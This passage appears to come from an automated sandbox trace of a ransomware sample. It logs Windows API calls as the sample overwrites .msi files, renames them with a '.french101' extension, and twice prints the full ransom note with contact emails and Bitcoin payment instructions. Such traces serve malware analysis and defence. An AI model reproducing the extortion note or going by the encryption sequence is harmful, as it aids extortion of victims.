lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.744] SetFilePointer (in: hFile=0x398, lDistanceToMove=109581, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1ac0d [0267.744] WriteFile (in: hFile=0x398, lpBuffer=0x3eaf038*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaf038*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.744] SetFilePointer (in: hFile=0x398, lDistanceToMove=132076, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x203ec [0267.744] WriteFile (in: hFile=0x398, lpBuffer=0x3eaf438*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaf438*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.744] SetFilePointer (in: hFile=0x398, lDistanceToMove=184832, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x2d200 [0267.744] WriteFile (in: hFile=0x398, lpBuffer=0x3eaf838*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaf838*, lpNumberOfBytesWritten=0x19e7d8*=0x18, lpOverlapped=0x0) returned 1 [0267.747] WriteFile (in: hFile=0x398, lpBuffer=0x3eaf888*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaf888*, lpNumberOfBytesWritten=0x19e7d8*=0xda, lpOverlapped=0x0) returned 1 [0267.747] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0267.747] GlobalUnlock (hMem=0x3f4000c) returned 0 [0267.747] CloseHandle (hObject=0x398) returned 1 [0267.752] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\UPgLyPV2diQJZdGyWSnwjKjO061ZPq9Ayp1QdGV3ZJg.french101" (normalized: "c:\\588bce7c90097ed212\\upglypv2diqjzdgywsnwjkjo061zpq9ayp1qdgv3zjg.french101")) returned 1 [0267.753] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UPgLyPV2diQJZdGyWSnwjKjO061ZPq9Ayp1QdGV3ZJg.french101" (normalized: "c:\\588bce7c90097ed212\\upglypv2diqjzdgywsnwjkjo061zpq9ayp1qdgv3zjg.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0267.753] SetFileTime (hFile=0x398, lpCreationTime=0x19e884, lpLastAccessTime=0x19e87c, lpLastWriteTime=0x19e874) returned 1 [0267.753] CloseHandle (hObject=0x398) returned 1 [0267.753] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UPgLyPV2diQJZdGyWSnwjKjO061ZPq9Ayp1QdGV3ZJg.french101", dwFileAttributes=0x80) returned 1 [0267.754] CloseHandle (hObject=0x398) returned 0 [0267.754] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0267.754] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0267.754] GlobalUnlock (hMem=0x3f4000c) returned 0 [0267.754] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0267.754] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0267.754] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0267.754] GlobalUnlock (hMem=0x3f4000c) returned 0 [0267.754] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0267.754] GlobalUnlock (hMem=0x3f40014) returned 0 [0267.754] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0267.754] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e8d0 | out: lpFindFileData=0x19e8d0) returned 0x6da2d0 [0267.755] FileTimeToLocalFileTime (in: lpFileTime=0x19e8e4, lpLocalFileTime=0x19e864 | out: lpLocalFileTime=0x19e864) returned 1 [0267.755] FileTimeToDosDateTime (in: lpFileTime=0x19e864, lpFatDate=0x19e8b2, lpFatTime=0x19e8b0 | out: lpFatDate=0x19e8b2, lpFatTime=0x19e8b0) returned 1 [0267.755] FindClose (in: hFindFile=0x6da2d0 | out: hFindFile=0x6da2d0) returned 1 [0267.755] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0267.755] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0267.755] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0267.755] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0267.755] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0267.755] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0267.755] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0267.755] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19eadc, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19eadc*=0x87f, lpOverlapped=0x0) returned 1 [0267.756] CloseHandle (hObject=0x398) returned 1 [0267.756] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0267.756] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0267.756] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0267.756] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0267.756] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0267.756] GlobalUnlock (hMem=0x3f40014) returned 0 [0267.756] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0267.756] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0267.756] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0267.756] GlobalUnlock (hMem=0x3f40014) returned 0 [0267.756] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0267.756] GlobalUnlock (hMem=0x3f4000c) returned 0 [0267.756] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0267.757] CharLowerBuffW (in: lpsz="RGB9Rast_x86.msi", cchLength=0x10 | out: lpsz="rgb9rast_x86.msi") returned 0x10 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.757] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0267.757] CharLowerBuffW (in: lpsz=".msi", cchLength=0x4 | out: lpsz=".msi") returned 0x4 [0267.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".msi", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".msiw", lpUsedDefaultChar=0x0) returned 4 [0267.757] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", lpFindFileData=0x19e8b8 | out: lpFindFileData=0x19e8b8) returned 0x6da1d0 [0267.758] FileTimeToLocalFileTime (in: lpFileTime=0x19e8cc, lpLocalFileTime=0x19e7d8 | out: lpLocalFileTime=0x19e7d8) returned 1 [0267.758] FileTimeToDosDateTime (in: lpFileTime=0x19e7d8, lpFatDate=0x19e89a, lpFatTime=0x19e898 | out: lpFatDate=0x19e89a, lpFatTime=0x19e898) returned 1 [0267.758] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0267.758] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi", dwFileAttributes=0x20) returned 1 [0267.758] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0267.758] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0267.758] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x17200 [0267.759] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0267.759] SetFilePointer (in: hFile=0x398, lDistanceToMove=94720, lpDistanceToMoveHigh=0x19e7d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7d0*=0) returned 0x17200 [0267.759] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c68*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0268.185] CloseHandle (hObject=0x398) returned 1 [0268.268] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0268.268] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0268.268] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x17201 [0268.268] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0268.268] SetFilePointer (in: hFile=0x398, lDistanceToMove=94720, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x17200 [0268.268] SetEndOfFile (hFile=0x398) returned 1 [0268.271] CloseHandle (hObject=0x398) returned 1 [0268.271] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0268.271] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0268.271] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x17200 [0268.271] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0268.272] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0268.272] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0268.272] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0268.273] SetFilePointer (in: hFile=0x398, lDistanceToMove=58740, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xe574 [0268.273] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0268.273] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0268.273] GlobalLock (hMem=0x3f40004) returned 0x3ae6e20 [0268.273] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0268.273] GlobalUnlock (hMem=0x3f40014) returned 0 [0268.273] GlobalHandle (pMem=0x3ae6e20) returned 0x3f40004 [0268.273] GlobalUnlock (hMem=0x3f40004) returned 0 [0268.273] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0268.273] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0268.273] GlobalUnlock (hMem=0x3f40004) returned 0 [0268.286] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0268.286] WriteFile (in: hFile=0x398, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0268.286] SetFilePointer (in: hFile=0x398, lDistanceToMove=58740, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xe574 [0268.286] WriteFile (in: hFile=0x398, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0268.287] SetFilePointer (in: hFile=0x398, lDistanceToMove=94720, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x17200 [0268.287] WriteFile (in: hFile=0x398, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e7d8*=0x18, lpOverlapped=0x0) returned 1 [0268.287] WriteFile (in: hFile=0x398, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e7d8*=0xc2, lpOverlapped=0x0) returned 1 [0268.287] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0268.287] GlobalUnlock (hMem=0x3f4000c) returned 0 [0268.287] CloseHandle (hObject=0x398) returned 1 [0268.290] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), lpNewFileName="C:\\588bce7c90097ed212\\=Jf=nC9t4puo4VnykhdQ=9bwFpk1fQSmspcHmyzvQCQ.french101" (normalized: "c:\\588bce7c90097ed212\\=jf=nc9t4puo4vnykhdq=9bwfpk1fqsmspchmyzvqcq.french101")) returned 1 [0268.295] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\=Jf=nC9t4puo4VnykhdQ=9bwFpk1fQSmspcHmyzvQCQ.french101" (normalized: "c:\\588bce7c90097ed212\\=jf=nc9t4puo4vnykhdq=9bwfpk1fqsmspchmyzvqcq.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0268.295] SetFileTime (hFile=0x398, lpCreationTime=0x19e884, lpLastAccessTime=0x19e87c, lpLastWriteTime=0x19e874) returned 1 [0268.295] CloseHandle (hObject=0x398) returned 1 [0268.295] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\=Jf=nC9t4puo4VnykhdQ=9bwFpk1fQSmspcHmyzvQCQ.french101", dwFileAttributes=0x80) returned 1 [0268.295] CloseHandle (hObject=0x398) returned 0 [0268.296] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0268.296] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0268.296] GlobalUnlock (hMem=0x3f4000c) returned 0 [0268.296] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0268.296] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0268.296] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0268.296] GlobalUnlock (hMem=0x3f4000c) returned 0 [0268.296] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0268.296] GlobalUnlock (hMem=0x3f40004) returned 0 [0268.296] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0268.296] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e8d0 | out: lpFindFileData=0x19e8d0) returned 0x6da1d0 [0268.296] FileTimeToLocalFileTime (in: lpFileTime=0x19e8e4, lpLocalFileTime=0x19e864 | out: lpLocalFileTime=0x19e864) returned 1 [0268.296] FileTimeToDosDateTime (in: lpFileTime=0x19e864, lpFatDate=0x19e8b2, lpFatTime=0x19e8b0 | out: lpFatDate=0x19e8b2, lpFatTime=0x19e8b0) returned 1 [0268.296] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0268.297] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0268.297] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0268.297] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0268.297] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0268.297] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0268.297] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0268.297] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0268.297] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19eadc, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19eadc*=0x87f, lpOverlapped=0x0) returned 1 [0268.297] CloseHandle (hObject=0x398) returned 1 [0268.297] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0268.297] FileTimeToLocalFileTime (in: 